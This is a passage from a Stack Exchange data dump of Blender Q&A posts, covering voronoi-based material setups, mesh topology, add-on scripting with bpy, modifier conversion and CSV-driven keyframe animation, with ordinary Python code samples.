  <row Id="32133" PostTypeId="2" ParentId="32123" CreationDate="2015-06-09T00:04:54.120" Score="22" Body="&lt;p&gt;I was able to get something pretty close to what I think you are looking for using a voronoi texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E6fIr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my node setup (click to enlarge):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rx4Yg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rx4Yg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a close up of the nodes that make the holes (there are actually two of these sets, one for the larger holes and one for the smaller ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDpTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upper voronoi texture, set to cells, is sent through a &lt;em&gt;less than&lt;/em&gt; node to &quot;weed out&quot; a few cells I then use that result to mask the lower voronoi, set to intensity.  If that didn't make any sense here is an image that will hopefully clarify it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/izeeC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Cells&lt;/em&gt; voronoi texture.&lt;/li&gt;&#xA;&lt;li&gt;Put through less than &lt;code&gt;0.4&lt;/code&gt; node (&lt;em&gt;converter&lt;/em&gt; &gt; &lt;em&gt;math&lt;/em&gt;) to &quot;grab&quot; 40% of the cells.&lt;/li&gt;&#xA;&lt;li&gt;Used to mask &lt;em&gt;intensity&lt;/em&gt; voronoi texture.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Color ramp&lt;/em&gt; node added to (mostly) eliminate the hexagons.  (Try playing with the color ramp swatches to see how this works.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The main material is simply two of these setups with a noise texture for added roughness, all put into the bump of a grey diffuse shader.  The asteroid itself is simply an icosphere with a subsurf and two different sized displacement modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/260/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=260&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-09T14:12:15.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32134" PostTypeId="1" AcceptedAnswerId="32137" CreationDate="2015-06-09T02:48:42.313" Score="2" ViewCount="1628" Body="&lt;p&gt;How can this topology be improved? Multiple attempts and several hours later, I have failed to create a successful all-quad mesh again. I keep trying to visualize face loops that define the edges I need on this object (a screw), but it is very difficult to join these dissimilar sections of geometry together. I have been watching tutorials/speed modelling sessions in an attempt to gain some further insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing that the round part needs to be spherical-ish, because if the verts are not distributed evenly, then it will appear lumpy instead of round/smooth...though clearly, the perimeter loop where the plus shaped area meets the round part has not-evenly-distributed verts all along that edge...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to join the two edges and redistribute the verts to make them spherical, but it looks terrible. Here was that attempt (notice that the ridge is wavy and uneven...), I abandoned this approach after it seemed to be a lost cause:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAibY.png&quot; alt=&quot;topology travesty 1, horrible wavy edge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a later attempt, the round part is a bit lumpy/not-smooth...I also realized that there was a triangle here later on too (how would someone fix that? start completely over, since adding geometry would change the number of verts at the joining edge between the two surfaces?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzY4e.png&quot; alt=&quot;topology travesty 2, lumpy surface with overlooked triangle&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="3078" LastEditDate="2015-06-09T07:10:02.000" LastActivityDate="2015-06-09T09:33:00.627" Title="How to achieve clean Topology at joining edge of dissimilar features?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32135" PostTypeId="1" CreationDate="2015-06-09T03:17:40.290" Score="3" ViewCount="2104" Body="&lt;p&gt;I need to have the children hairs spread out so that it covers the hea, unfortunately this causes the problem of the children hairs not following the mesh it is on and cutting through the mesh, unrealistically.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-06-10T16:16:04.157" Title="Is there a way to control children hairs so they don't cut through a mesh?" Tags="&lt;mesh&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32136" PostTypeId="2" ParentId="32134" CreationDate="2015-06-09T06:05:37.543" Score="-1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKsCo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Above and below all quads with a shrink wrap.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MaLLw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/imF0L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Please beware of impure and unchaste images below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a boolean modifier A difference B. Sphere minus Cross Sign. You may have already done this.  The cross sign has a bevel modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDLBo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press Apply.  You may use a higher resolution sphere (more vertices) for a sharper result.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-09T07:38:06.293" LastActivityDate="2015-06-09T07:38:06.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32137" PostTypeId="2" ParentId="32134" CreationDate="2015-06-09T07:39:00.213" Score="3" Body="&lt;p&gt;In Blender most of us would not model a screw by joining two separate meshes, one for the curvature and the other for the groove. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other 3d packages such as AutoCAD / SolidWorks (and free alternatives) have a different internal representation of shapes. That's why boolean 'carving' is great for those kinds of programs. In those packages geometry remains a mathematical entity until converted to &lt;em&gt;mesh-geometry&lt;/em&gt; for export. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender we use mesh geometry (verts, edges, faces) all the way, and that means a different approach is worth considering. You've noticed that trying to match up two very different sections of mesh can be quite a  hassle.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Proportional Editing to the rescue!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I'd go for geometry roughly similar to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OecU6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the use Proportional Edition, move, to push the upper verts into that nice curve. Getting a dome curvature is the smaller problem with this kind of geometry. The biggest issue is thinking ahead about where you want sharp corners and you can do that as a flat surface first and extrude parts down later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;em&gt;proportional editing&lt;/em&gt; and press G to start moving, and Z to exclude the XY movement. Use Shift+Mouse wheel to adjust the sphere of influence. See &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/transformations/transform_control/proportional_edit.html?highlight=proportional&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt; for more information about proportional editing&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s4VxP.gif&quot; alt=&quot;enter image description here&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outcome: (with some corrections to the base)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/irblI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-09T09:33:00.627" LastActivityDate="2015-06-09T09:33:00.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32138" PostTypeId="2" ParentId="7657" CreationDate="2015-06-09T08:24:20.827" Score="-4" Body="&lt;p&gt;I suggest &lt;a href=&quot;https://www.yobi3d.com&quot; rel=&quot;nofollow&quot;&gt;Yobi3D - 3D model search engine&lt;/a&gt; to look for 3D models on the internet.  There are tons of windows, chairs, and architecture related 3D models.  The site provides a 3D viewer, so that you can see the models in 3D on browser.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm the founder of Yobi3D.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14876" LastEditorUserId="14876" LastEditDate="2016-05-09T03:29:10.283" LastActivityDate="2016-05-09T03:29:10.283" CommentCount="3" CommunityOwnedDate="2015-06-09T08:24:20.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="32139" PostTypeId="2" ParentId="31975" CreationDate="2015-06-09T08:27:28.890" Score="5" Body="&lt;p&gt;After googeling hours and hours i found out, Blenders Collada exporter is just buggy. For everyone who wants to use Blender and Assimp together i recommend the FBX file format. Both, Blender and Assimp do support it, you can configure Blenders FBX exporter to use the correct Coordinate-System (-z forwards, y upwards) and it even supports exporting all animations on the animation-stack as individual animations.&lt;/p&gt;&#xA;" OwnerUserId="8319" LastActivityDate="2015-06-09T08:27:28.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32140" PostTypeId="2" ParentId="30985" CreationDate="2015-06-09T08:28:41.517" Score="1" Body="&lt;p&gt;The problem here was with the operating system /environment, and confirmed by pink-vertex. While this isn't a bug report, it may still be handy to keep around in case others experience it.&lt;/p&gt;&#xA;&lt;p&gt;The behaviour had me stumped until I wrote the above code to localize what was happening.&lt;/p&gt;&#xA;&lt;p&gt;This seems to be a long-standing bug in the windowing system that ubuntu uses: &lt;a href=&quot;https://developer.blender.org/T21528&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T21528&lt;/a&gt; (dating:  Mar 9 2010)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;knowing it's broken isn't good enough.&lt;/h1&gt;&#xA;&lt;p&gt;@NoamPeled asks how one might get a working solution in the case of the windowing system throwing multiple repeat &lt;code&gt;event.values&lt;/code&gt;, like &lt;code&gt;RELEASE&lt;/code&gt; -- thus  increaseing the potential for the interface to behave in unexpected ways (ie a quick tap of a key could trigger release once or twice, but mostly twice -- at the very least the lack of consistency is the true issue then)&lt;/p&gt;&#xA;&lt;p&gt;untested and verbose,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# somewhere at the top of your python file&#xA;# add any other keys you want to track&#xA;event_values = {'MINUS': None} &#xA;&#xA;# your modal operator code (snipped for brevity, see above in the question)&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        # somewhere it makes sense&#xA;        if event.type in event_values.keys():&#xA;            if event.value == event_values.get(event.type):&#xA;                pass  # or some other passthrough/ignore&#xA;            else:&#xA;                event_values[event.type] = event.value&#xA;                # do some other useful thing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-03-21T10:25:13.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32141" PostTypeId="1" CreationDate="2015-06-09T08:49:07.957" Score="1" ViewCount="578" Body="&lt;p&gt;My add-on shows the User Preferences view, selects the &quot;Add-ons&quot; tab and search for a specific add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to expand that add-on, but it doesn't work consistently. I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'NoneType' object has no attribute 'bl_info'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works in console, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in question is this, where &lt;em&gt;xxx&lt;/em&gt; is the name of the .py file or the add-on &lt;em&gt;folder&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class XxxOperator(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;xxx.configure&quot;&#xA;    bl_label = &quot;Show Plugin&quot;&#xA;&#xA;    def execute(self, context):&#xA;            bpy.context.user_preferences.active_section = 'ADDONS'&#xA;            window = bpy.ops.screen.userpref_show('INVOKE_DEFAULT')&#xA;            bpy.data.window_managers[&quot;WinMan&quot;].addon_search = &quot;xxx&quot;&#xA;            bpy.ops.wm.addon_expand(module = &quot;xxx&quot;)&#xA;            return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's an option in the menu. The init file (I'll omit the bl_info and the imports):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class XxxMenu(bpy.types.Menu):&#xA;bl_idname = &quot;OBJECT_MT_XxxMenu&quot;&#xA;bl_label = &quot;Xxx&quot;&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;    layout.operator(&quot;xxx.submit&quot;, text=&quot;Submit&quot;)&#xA;    layout.operator(&quot;xxx.configure&quot;, text=&quot;Show Plugin&quot;)&#xA;&#xA;def add_to_menu(self, context):&#xA;    self.layout.menu(&quot;OBJECT_MT_XxxMenu&quot;, icon = &quot;PLUGIN&quot;);&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_render.append(add_to_menu)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_render.remove(add_to_menu)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14440" LastEditorUserId="14440" LastEditDate="2015-06-09T12:42:41.250" LastActivityDate="2015-06-10T17:49:31.333" Title="bpy.ops.wm.addon_expand(module=&quot;module_name&quot;) works in console, but not in add-on" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32142" PostTypeId="1" CreationDate="2015-06-09T09:30:58.820" Score="1" ViewCount="247" Body="&lt;p&gt;In my car game I would like to make the metal bend, when it hits a wall. I think of soft body or cloth simulation. How can I achieve that the metal stays solid, but deforms when it hits and keeps this form, like metal? But what I did results in the material being stuck in the obstacle.  Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are the settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CyLzS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tyxry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plastic is high, so it keeps the deformation&#xA;Pull and push are low, because they must stretch and be pushed together. I looked at the tutorial of &lt;a href=&quot;https://www.youtube.com/watch?v=ofIi4ddHGW0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=ofIi4ddHGW0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-09T10:00:26.607" LastActivityDate="2015-06-09T10:00:26.607" Title="How to make car deform when hits and keeps this form" Tags="&lt;cloth-simulation&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-09T12:08:20.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="32143" PostTypeId="2" ParentId="32141" CreationDate="2015-06-09T10:02:56.623" Score="1" Body="&lt;p&gt;from &lt;code&gt;startp/bl_operators/wm.py&lt;/code&gt; the &lt;code&gt;WM_OT_addon_expand&lt;/code&gt; operator gives a hint how to check if it is expanded or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WM_OT_addon_expand(Operator):&#xA;    &quot;Display more information on this addon&quot;&#xA;    bl_idname = &quot;wm.addon_expand&quot;&#xA;    bl_label = &quot;&quot;&#xA;    bl_options = {'INTERNAL'}&#xA;&#xA;    module = StringProperty(&#xA;            name=&quot;Module&quot;,&#xA;            description=&quot;Module name of the addon to expand&quot;,&#xA;            )&#xA;&#xA;    def execute(self, context):&#xA;        import addon_utils&#xA;&#xA;        module_name = self.module&#xA;&#xA;        # unlikely to fail, module should have already been imported&#xA;        try:&#xA;            # mod = __import__(module_name)&#xA;            mod = addon_utils.addons_fake_modules.get(module_name)&#xA;        except:&#xA;            import traceback&#xA;            traceback.print_exc()&#xA;            return {'CANCELLED'}&#xA;&#xA;        info = addon_utils.module_bl_info(mod)&#xA;        info[&quot;show_expanded&quot;] = not info[&quot;show_expanded&quot;]&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus.. i think something like this, you'll probably want to refine it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import addon_utils&#xA;&#xA;module_name = &quot;sverchok&quot;&#xA;addon_utils.modules_refresh()&#xA;&#xA;bpy.ops.screen.userpref_show(&quot;INVOKE_DEFAULT&quot;)&#xA;bpy.context.user_preferences.active_section = &quot;ADDONS&quot;&#xA;bpy.data.window_managers['WinMan'].addon_search = &quot;sverch&quot;&#xA;&#xA;try:&#xA;    mod = addon_utils.addons_fake_modules.get(module_name)&#xA;    info = addon_utils.module_bl_info(mod)&#xA;    if not info[&quot;show_expanded&quot;]:&#xA;        info[&quot;show_expanded&quot;] = True&#xA;&#xA;except:&#xA;    import traceback&#xA;    traceback.print_exc()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's just these lines really:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod = addon_utils.addons_fake_modules.get(module_name)&#xA;info = addon_utils.module_bl_info(mod)&#xA;info[&quot;show_expanded&quot;] = True  # or False to Collapse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-10T17:42:56.903" LastActivityDate="2015-06-10T17:42:56.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32145" PostTypeId="1" AcceptedAnswerId="32146" CreationDate="2015-06-09T10:47:45.120" Score="2" ViewCount="1129" Body="&lt;p&gt;Is there a quick way to copy the result of a modifier stack to create a new object, like if you manually duplicated an object with a modifier stack and applied all the modifiers?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, It's possible through the Python API: &lt;a href=&quot;https://blender.stackexchange.com/questions/7196/how-to-get-a-new-mesh-with-modifiers-applied-using-blender-python-api&quot;&gt;How to get a new mesh with modifiers applied using Blender Python API?&lt;/a&gt;&#xA;But I was wondering if there's a way to do this without Python.&lt;/p&gt;&#xA;" OwnerUserId="13838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-06-09T13:38:30.843" Title="How to use the result of a modifier stack to create a new object?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32146" PostTypeId="2" ParentId="32145" CreationDate="2015-06-09T10:54:41.353" Score="4" Body="&lt;p&gt;You can do this by converting everything to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object -&gt; Convert -&gt; To Mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the operator options you may want to enable &lt;em&gt;Keep Original&lt;/em&gt; (so as not to replace the existing objects).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-09T10:54:41.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32147" PostTypeId="2" ParentId="27535" CreationDate="2015-06-09T10:58:49.000" Score="3" Body="&lt;p&gt;This event is kind of a 'meta event' - you will never get an event of this type (Blender's event system never generates it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is used by keymap, as a kind of 'generic' event - it matches any real event that can be interpreted as a typed char. You can find its 'definition' at line 1530 and following of &lt;code&gt;wm_event_system.c&lt;/code&gt; in Blender sources:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-c prettyprint-override&quot;&gt;&lt;code&gt;if (kmitype == KM_TEXTINPUT)&#xA;    if (winevent-&amp;gt;val == KM_PRESS) {  /* prevent double clicks */&#xA;        /* NOT using ISTEXTINPUT anymore because (at least on Windows) some key codes above 255&#xA;         * could have printable ascii keys - BUG [#30479] */&#xA;        if (ISKEYBOARD(winevent-&amp;gt;type) &amp;amp;&amp;amp; (winevent-&amp;gt;ascii || winevent-&amp;gt;utf8_buf[0])) return 1; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Translated in readable english, it means that any event that is a &lt;code&gt;KM_PRESS&lt;/code&gt; (key press) from the keyboard and that generates a valid char (either ascii or unicode one) is considered as a &lt;code&gt;TEXTINPUT&lt;/code&gt; event.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="3710" LastEditDate="2015-06-09T11:03:42.673" LastActivityDate="2015-06-09T11:03:42.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32148" PostTypeId="2" ParentId="23884" CreationDate="2015-06-09T12:00:30.600" Score="4" Body="&lt;p&gt;This does work on my machine though, I've tested it. Note here i've used aliasing to make the lines less long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my_script.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import time&#xA;import os&#xA;&#xA;bpy.data.scenes['Scene'].render.engine = 'CYCLES'&#xA;world = bpy.data.worlds['World']&#xA;world.use_nodes = True&#xA;&#xA;# changing these values does affect the render.&#xA;bg = world.node_tree.nodes['Background']&#xA;bg.inputs[0].default_value[:3] = (0.5, .1, 0.6)&#xA;bg.inputs[1].default_value = 1.0&#xA;&#xA;bpy.ops.render.render()&#xA;&#xA;faux_name = &quot;tensor_&quot; + str(time.time()) + &quot;.png&quot;&#xA;fp = os.path.join(&quot;/home/zeffii/Desktop&quot;, faux_name)&#xA;bpy.data.images['Render Result'].save_render(filepath=fp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-09T12:00:30.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32150" PostTypeId="1" CreationDate="2015-06-09T12:49:03.357" Score="10" ViewCount="2487" Body="&lt;p&gt;Is it possible to unselect only the parts that were hidden, after the unhide command (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;)? I want to keep the previous selection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfNP1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiHDv.png&quot; alt=&quot;sdf&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14884" LastEditorUserId="2217" LastEditDate="2015-06-09T13:13:15.657" LastActivityDate="2019-07-24T19:37:33.883" Title="Unselect hidden mesh after unhide" Tags="&lt;python&gt;&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32151" PostTypeId="2" ParentId="17919" CreationDate="2015-06-09T12:57:01.893" Score="3" Body="&lt;p&gt;There are several easy ways to exchange data, common formats are &lt;a href=&quot;https://docs.python.org/3/library/csv.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;.csv&lt;/a&gt; or &lt;a href=&quot;https://docs.python.org/3/library/json.html?highlight=json#module-json&quot; rel=&quot;nofollow noreferrer&quot;&gt;.json&lt;/a&gt; and both can be written and read easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might end up doing is have csv file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timestamp,p1x,p1y,p1z,p2x,p2y,p2z,p3x,p3y,p3z....etc&#xA;0:000,x,y,z,x,y,z,x,y,z....&#xA;0:020,x,y,z,x,y,z,x,y,z....&#xA;0:030,x,y,z,x,y,z,x,y,z....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The timestamp could be as fine grained as you want, or 24 frames per second. Exactly how you turn the information into an animation is entirely up to you and can also be entirely scripted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://gist.github.com/zeffii/a066706dca63a335f801&quot; rel=&quot;nofollow noreferrer&quot;&gt;movement.csv&lt;/a&gt;, which uses a frame number instead of the timestamp, simply because it makes the example more convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off you might want to simply key-frame some empties. Let's say we have 48 lines of data for 3 points in space, and they describe these arcs (though can be any complex path)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnetm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import csv&#xA;import os&#xA;import bpy&#xA;&#xA;# add 3 empties programatically to be certain it works as a demo&#xA;mt1 = bpy.data.objects.new('mt1', None)&#xA;mt2 = bpy.data.objects.new('mt2', None)&#xA;mt3 = bpy.data.objects.new('mt3', None)&#xA;empties = [mt1, mt2, mt3] &#xA;for m in empties:&#xA;    bpy.context.scene.objects.link(m)&#xA;&#xA;filename = 'movement.csv'&#xA;directory = '/home/zeffii/Desktop'  # &amp;lt;-- if you have linux or osx&#xA;# directory = r'c:\some\directory'  # &amp;lt;-- if windows, the r is important&#xA;# directory = 'c:/some/directory'  # &amp;lt;-- if windows (alternative)&#xA;&#xA;fullpath = os.path.join(directory, filename)&#xA;&#xA;with open(fullpath, 'r', newline='') as csvfile:&#xA;    ofile = csv.reader(csvfile, delimiter=',')&#xA;    next(ofile) # &amp;lt;-- skip the x,y,z header&#xA;&#xA;    for line in ofile:&#xA;        f, *pts = line&#xA;&#xA;        # these things are still strings (that's how they get stored in the file)&#xA;        # here we recast them to integer and floats&#xA;        frame_num = int(f)&#xA;        fpts = [float(p) for p in pts]&#xA;        coordinates = [fpts[0:3], fpts[3:6], fpts[6:9]]&#xA;&#xA;        bpy.context.scene.frame_set(frame_num)&#xA;        for ob, position in zip(empties, coordinates):&#xA;            ob.location = position&#xA;            ob.keyframe_insert(data_path=&quot;location&quot;, index=-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AgWh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-09T15:08:56.293" LastActivityDate="2015-06-09T15:08:56.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32153" PostTypeId="1" AcceptedAnswerId="32162" CreationDate="2015-06-09T13:55:07.000" Score="3" ViewCount="616" Body="&lt;p&gt;I am looking at mesh surfaces that intersect themselves and show both sides (inside/outside). It's easier to put one here than to explain. So far, I can not &lt;code&gt;cycles render&lt;/code&gt; it with transparency. It renders completely opaque for me. I'm toggling alt-z and it changes from semi-transparent to opaque in normal view (object mode) but always opaque in render. It is interesting to watch when toggling &lt;code&gt;backface culling&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I give the shape here, because there may be some strange thing due to the variety of surface normal directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want glass or refraction, I just want to see the surfaces themselves in some way that I can see inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: it DOES render semi-transparent in &lt;code&gt;blender render&lt;/code&gt;. Using 2.74. I think I will have to play with multiple lights and diffuseness before it looks excellent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ADcpW.png&quot; alt=&quot;blender render&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/3YR4E.png&quot; alt=&quot;cycles render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;nth, nph = 101, 200&#xA;th  = np.linspace(-0.5*np.pi, 0.5*np.pi, 